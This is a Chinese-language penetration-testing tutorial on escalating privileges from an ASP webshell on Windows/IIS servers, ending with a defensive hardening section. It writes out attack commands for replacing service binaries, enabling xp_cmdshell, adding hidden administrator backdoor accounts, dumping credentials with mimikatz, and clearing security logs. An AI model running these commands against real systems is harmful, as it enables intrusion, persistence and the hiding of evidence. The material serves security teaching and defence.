1. 项目概述从“能访问”到“能控制”的质变在渗透测试的实战中我们常常会遇到这样一个瓶颈通过Web漏洞比如SQL注入、文件上传拿到一个Webshell却发现这个Shell的权限低得可怜只能在一个小小的网站目录里打转连看一眼系统盘C:\的资格都没有。这个阶段我们称之为“立足点”。而“提权”就是从这个立足点出发利用系统、应用或配置上的弱点将当前低权限账户如IIS的IUSR或NETWORK SERVICE提升为更高权限账户如Local System、Administrator的过程。这不仅是权限的跃升更是攻击链能否继续延伸、测试目标能否被彻底验证的关键一步。ASPActive Server Pages作为曾经风靡一时的服务器端脚本环境虽然如今在新项目中已不多见但在大量遗留系统、政府或企业内部的老旧业务平台上依然广泛存在。针对ASP环境的提权技术因此成为渗透测试工程师必须掌握的一项“考古”与实战并存的技能。它考验的不仅是漏洞利用能力更是对Windows系统、IIS配置、数据库权限乃至管理员运维习惯的深度理解。2. 环境认知与信息收集提权的“战场侦察”在动手之前盲目尝试各种EXP漏洞利用程序是效率最低下的做法。一个成熟的渗透测试者会像侦察兵一样先彻底摸清“战场”环境。2.1 系统与权限信息初探拿到一个ASP的Webshell通常是cmd.asp或一句话木马连接后的虚拟终端后第一件事不是急着跑whoami而是先了解我们身处何方。# 查看当前用户权限和基本信息 whoami /all # 查看系统版本和补丁信息 systeminfo # 查看网络配置 ipconfig /all # 查看进程列表 tasklist # 查看当前目录权限 cacls . 或 icacls .whoami /all的输出至关重要它会列出当前用户的SID、所属组以及特权列表。一个常见的低权限IIS用户通常属于IIS_IUSRS组其特权Privileges列表里很可能空空如也或者只有像SeChangeNotifyPrivilege绕过遍历检查这样的基本权限。而我们的目标是让它的特权列表里出现SeDebugPrivilege调试程序、SeImpersonatePrivilege身份模拟或直接成为BUILTIN\Administrators的成员。注意在Windows Server 2003及更早的系统中IIS默认以Network Service或Local System对于IIS6.0的应用程序池身份运行其本身权限就较高提权空间相对较小。而从IIS7.0开始引入了更安全的ApplicationPoolIdentity应用程序池标识这是一个虚拟账户权限被严格限制这才使得提权技术变得尤为重要和常见。所以看到NT AUTHORITY\NETWORK SERVICE时先别高兴太早它可能已经拥有不少权限了。2.2 关键目录与文件权限审计信息收集的另一个核心是寻找配置错误导致的弱权限文件和目录。我们的思路是找到那些本应由高权限账户管理但现在低权限账户也能写或能执行的文件。# 检查临时目录权限这里通常是宽松的 cacls C:\Windows\Temp cacls %TEMP% # 检查Web根目录及其父目录的权限有时会有意外发现 cacls C:\inetpub\wwwroot cacls C:\inetpub # 检查系统PATH环境变量中的目录权限 echo %PATH% # 然后逐一检查这些目录如 C:\Windows\System32, C:\Windows, C:\Program Files\Common Files 等。我曾经在一个项目中发现C:\Program Files\Common Files\目录对Everyone组有“修改”权限。这意味着我可以将我的恶意可执行文件如nc.exe复制到这个目录并因为它位于系统PATH中我可以在任何地方直接执行它为后续的权限提升创造了极大便利。2.3 应用程序与服务探查系统上运行的服务和应用程序是提权的黄金矿藏。我们要找两类东西一是以高权限运行但配置有问题的服务二是存在已知漏洞的软件版本。# 查看所有服务及其状态、启动账户 sc query # 或者更详细地使用wmic如果可用 wmic service get name,displayname,startname,state # 查看安装的软件及其版本 wmic product get name,version # 或者检查注册表 reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall重点查看那些StartName启动账户是LocalSystem、NetworkService或某个具体管理员账户的服务。记下它们的名称。然后检查这些服务的可执行文件路径binPath的权限sc qc [服务名] # 在输出中找到 BINARY_PATH_NAME 字段 cacls [可执行文件路径]如果低权限用户对这个服务的可执行文件或其所在目录有“完全控制”或“写入”权限我们就可以尝试“服务可执行文件替换”提权。这是经典且高效的提权方式。3. 经典提权路径深度剖析基于信息收集的结果我们可以选择不同的攻击路径。下面拆解几种在ASP环境下最常见、成功率也较高的提权方法。3.1 利用系统内核漏洞溢出提权这是最直接、最“暴力”的方法利用操作系统内核或驱动中未修补的漏洞通过执行一段精心构造的Shellcode直接让当前进程获得SYSTEM权限。它的成功与否完全取决于系统补丁情况。操作流程信息收集通过systeminfo查看系统版本和已安装的补丁。重点关注KB编号。漏洞匹配根据系统版本如Windows Server 2008 R2和缺失的补丁在本地或公开漏洞库如Exploit-DB中寻找对应的提权EXP。常见的经典漏洞包括MS08-025本地提权、MS09-012Churrasco、MS10-059ACL提权、MS11-046本地提权、MS15-051本地提权、MS16-032Secondary Logon Handle、MS17-010永恒之蓝的本地利用变种等。对于更新的系统则可能关注CVE-2021-36934HiveNightmare、CVE-2021-1675PrintNightmare等。EXP上传与执行将编译好的EXP可执行文件通常是.exe上传到目标服务器的可写目录如C:\Windows\Temp。在ASP Webshell中执行它。获取Shell成功的EXP通常会弹回一个具有SYSTEM权限的Shell或者将当前Shell进程的权限提升。实战心得杀软绕过这是内核漏洞提权最大的障碍。上传的EXP很可能被实时防护查杀。常用的方法有免杀处理使用Veil-Evasion、Shellter等工具对EXP进行编码或加壳。纯内存执行利用PowerShell、VBScript或.NET加载器将Shellcode直接注入内存执行不落地。例如使用Invoke-ReflectivePEInjection。利用白名单程序寻找系统自带的可执行文件如msiexec.exe,installutil.exe通过它们来间接执行我们的Payload。稳定性内核漏洞利用不稳定可能导致系统蓝屏BSOD。在生产环境测试中需极其谨慎最好在获得明确授权且非核心业务时段进行。信息准确性systeminfo的输出可能被篡改或隐藏。可以辅助使用wmic qfe get hotfixid查看更详细的补丁列表或者直接使用像Windows-Exploit-Suggester这样的工具将systeminfo结果与本地漏洞数据库比对给出更精确的提权建议。3.2 利用错误配置的服务权限如果内核漏洞的路走不通配置错误往往是最可靠的突破口。其核心原理是“权限继承与滥用”。场景一服务可执行文件路径权限可控假设我们发现一个名为VulnerableService的服务以LocalSystem运行但其可执行文件路径C:\Program Files\MyApp\service.exe的权限配置错误允许IIS_IUSRS组进行“写入”操作。攻击步骤使用Webshell上传一个恶意的可执行文件evil.exe例如一个能添加管理员用户或反弹Shell的程序。停止目标服务需要相应权限有时低权限也能停止。net stop VulnerableService # 或使用sc sc stop VulnerableService备份原始的服务可执行文件可选但建议然后用我们的evil.exe覆盖它。copy /y C:\Windows\Temp\evil.exe C:\Program Files\MyApp\service.exe重新启动服务。net start VulnerableService服务启动时会以LocalSystem权限执行我们的evil.exe从而完成提权。重要提示直接覆盖系统关键服务文件风险极高且容易被发现。更隐蔽的做法是利用“二进制路径劫持”DLL Hijacking或“未引用的服务路径”漏洞。如果服务的BINARY_PATH_NAME是C:\MyApp\server.exe没有引号而C:\MyApp\目录我们可写我们就可以在C:\下创建一个名为MyApp\server.exe的目录和文件系统在解析路径时会错误地执行我们的文件。场景二服务配置权限可控服务的配置信息存储在注册表中HKLM\SYSTEM\CurrentControlSet\Services\[服务名]。如果低权限用户拥有对该服务注册表项的Write DACL或Full Control权限就可以直接修改服务的ImagePath可执行文件路径值。# 检查服务注册表项权限使用AccessChk等工具更直观但需上传 # 假设我们通过其他方式发现对“WeakService”的注册表项有写权限 reg add HKLM\SYSTEM\CurrentControlSet\Services\WeakService /v ImagePath /t REG_EXPAND_SZ /d C:\Windows\Temp\evil.exe /f修改后重启服务或等待系统重启提权即生效。这种方式比覆盖文件更隐蔽。3.3 利用计划任务Task SchedulerWindows计划任务可以配置以高权限账户运行。如果低权限用户能够创建或修改一个计划任务并指向我们的恶意程序那么在任务触发时就能提权。关键点在于权限。需要检查计划任务文件夹的权限C:\Windows\System32\TasksWindows 7/2008以后C:\Windows\Tasks旧系统如果这些目录或其中某个具体任务文件.job或.xml的权限设置不当就可能被利用。在ASP的Webshell环境下直接操作系统计划任务组件可能受限。更常见的是在已经通过其他方式如数据库xp_cmdshell获得一个cmdshell后使用schtasks命令来创建任务。# 创建一个每分钟运行一次的计划任务以SYSTEM权限执行 schtasks /create /tn MyTask /tr C:\Windows\Temp\evil.exe /sc minute /mo 1 /ru SYSTEM当然这通常需要更高的起点权限。但在一些配置极其疏忽的环境中Web权限可能直接允许操作计划任务。3.4 利用数据库扩展存储过程这是ASP环境下一个极具特色的提权路径。很多ASP网站搭配SQL Server数据库而数据库服务SQL Server可能以LocalSystem或NETWORK SERVICE等高权限账户运行。如果Web应用使用的数据库账户权限过高如sa并且数据库服务器启用了危险的扩展存储过程那么Webshell就能通过数据库执行系统命令。典型攻击链获取数据库连接信息从ASP网站的连接字符串文件如conn.asp,web.config中获取数据库地址、用户名和密码。测试数据库权限在Webshell中通过ASP脚本或上传的数据库查询工具连接数据库。启用xp_cmdshell如果数据库账户是sa或具有sysadmin角色可以尝试启用这个能执行操作系统命令的存储过程。EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE;执行系统命令通过xp_cmdshell执行命令此时命令的权限就是SQL Server服务的运行账户权限。EXEC xp_cmdshell whoami; EXEC xp_cmdshell net user backdoor Pssw0rd! /add; EXEC xp_cmdshell net localgroup administrators backdoor /add;深度防御与绕过现代SQL Server默认禁用xp_cmdshell。但除了它还有其他可被利用的扩展存储过程如xp_regread/xp_regwrite读写注册表、sp_oacreate创建OLE对象等。通过sp_oacreate可以调用WScript.Shell来执行命令是xp_cmdshell的常见替代方案。DECLARE shell INT; EXEC sp_oacreate WScript.Shell, shell OUTPUT; EXEC sp_oamethod shell, Run, null, cmd.exe /c whoami C:\temp\out.txt;数据库可能部署在另一台服务器上数据库与Web分离。这时通过xp_cmdshell获得的权限是数据库服务器的权限需要进一步进行横向移动。防范这种提权的关键在于应用程序使用最小权限的数据库账户只赋予其访问特定库、表的权限绝不使用sa并禁用所有不必要的扩展存储过程。4. 基于ASP环境特性的专项提权技巧除了通用方法ASP环境本身也有一些独特的攻击面。4.1 利用IIS应用程序池配置与组件应用程序池标识如前所述这是提权的主要目标。我们需要将其权限提升。除了上述通用方法还可以关注IIS MetabaseIIS6或ApplicationHost.configIIS7文件权限如果低权限用户能修改这些IIS核心配置文件可以添加一个指向恶意DLL的ISAPI筛选器或修改应用程序池的标识为高权限账户。可写的ASP脚本目录如果网站存在目录遍历或允许上传特定后缀文件如.txt,.inc可尝试上传.asp或.asa文件并执行。关键在于找到能解析执行ASP的目录。COM组件利用ASP可以通过Server.CreateObject调用COM组件。一些系统COM组件如Scripting.FileSystemObject功能强大。如果存在第三方注册的、不安全的COM组件且其DllSurrogate配置或权限设置有问题可能成为提权跳板。这需要深入挖掘服务器上注册的CLSID属于更高级的技巧。4.2 利用第三方软件与驱动程序服务器上除了操作系统和IIS往往还安装了各种第三方软件杀毒软件、备份软件、监控代理、运维工具等。这些软件可能本身存在本地提权漏洞需要关注其版本并搜索相关CVE。安装的服务或驱动权限配置不当参考3.2节的服务提权方法。配置文件或日志文件可写有些软件会加载用户可写的配置文件或者向用户可写的日志目录写入数据可能造成DLL劫持或配置文件注入。例如某次测试中发现服务器安装了某款老版本的文件同步软件其服务以SYSTEM运行但安装目录对Everyone可写。通过替换其主程序轻松获得系统权限。5. 提权后的巩固与痕迹清理成功提权不是终点。一个专业的渗透测试者还需要考虑如何维持访问、扩大战果以及在授权范围内清理痕迹。5.1 权限维持后门获得Administrator或SYSTEM权限后应立即建立几个隐蔽的后门防止Webshell丢失或重启后权限失效。隐藏用户创建一个用户名与现有用户组相似、不易察觉的管理员账户如$结尾或模仿系统账户名。net user sysbackup$ Pssw0rd! /add net localgroup administrators sysbackup$ /addSSH后门如果服务器安装了OpenSSH可以修改authorized_keys文件植入公钥。计划任务后门创建一个定期如每小时连接回控制端的计划任务。服务后门安装一个自定义的、看起来像系统服务的后门服务。启动项在注册表Run键或启动文件夹放置后门程序。5.2 横向移动与信息深度收集提权后视野从一台服务器扩展到整个内网。抓取密码哈希使用mimikatz需上传或直接读取SAM文件通过卷影副本来获取本地账户哈希。使用sekurlsa::logonpasswords命令。收集网络信息arp -a,netstat -ano,route print寻找其他网段和主机。共享与域信息net view,net group domain computers /domain如果加入域。凭据转储从浏览器、远程桌面连接管理器、FTP客户端等应用中寻找保存的密码。5.3 痕迹清理仅限授权测试后的还原在获得客户明确授权进行痕迹清理时需要谨慎操作避免误删系统文件。删除上传的工具删除Temp目录或其他位置上传的EXP、扫描器、mimikatz等可执行文件。清除日志重点清理安全日志、系统日志和应用日志中与测试活动相关的条目。可以使用wevtutil命令。wevtutil cl security wevtutil cl system警告大规模清除日志行为本身非常可疑。在真实的渗透测试报告中应详细记录攻击路径和产生的日志供防守方分析和加固。清理仅在特定要求下进行。恢复配置如果修改了服务配置、注册表或计划任务应将其恢复原状。删除创建的用户删除测试期间添加的后门账户。6. 防御视角如何构建防提权的服务器环境从防守方来看防止ASP环境被提权需要构建纵深防御体系。最小权限原则IIS应用程序池使用独立的、低权限的虚拟账户ApplicationPoolIdentity。数据库连接使用仅具有必要操作权限的专用账户禁用sa账户或设置强密码移除sysadmin角色。严格设置文件系统和注册表权限遵循最小化访问控制列表ACL。特别是C:\Windows\System32、C:\Program Files、服务可执行文件路径等关键位置。及时更新与补丁管理建立严格的补丁更新流程及时修复操作系统、IIS、.NET Framework、SQL Server及所有第三方软件的安全漏洞。使用安全基线核查工具定期检查系统配置。安全配置在SQL Server中禁用xp_cmdshell、Ole Automation Procedures等危险的扩展存储过程。限制Web目录的执行权限无脚本执行需求的目录只给“读取”权限。关闭不必要的服务和端口。监控与审计启用并集中收集Windows安全日志、IIS日志、SQL Server审计日志。部署端点检测与响应EDR或主机入侵防御系统HIPS监控可疑进程创建、权限变更、服务安装等行为。对高权限账户如Administrator的操作进行重点审计。应用程序安全从根本上减少Web漏洞SQL注入、文件上传、命令执行的产生这是攻击的起点。使用安全的编码实践进行代码审计和渗透测试。ASP提权实战是一场在狭窄通道中寻找缝隙的艺术它要求测试者兼具耐心、细致和对系统深度的理解。从信息收集的蛛丝马迹到漏洞利用的精准一击再到权限维持的隐蔽设计每一步都充满了与防御体系的博弈。对于防守方而言没有一劳永逸的银弹只有通过严格贯彻最小权限、持续更新和深度监控才能将这个“缝隙”压缩到最小真正提升服务器的安全水位。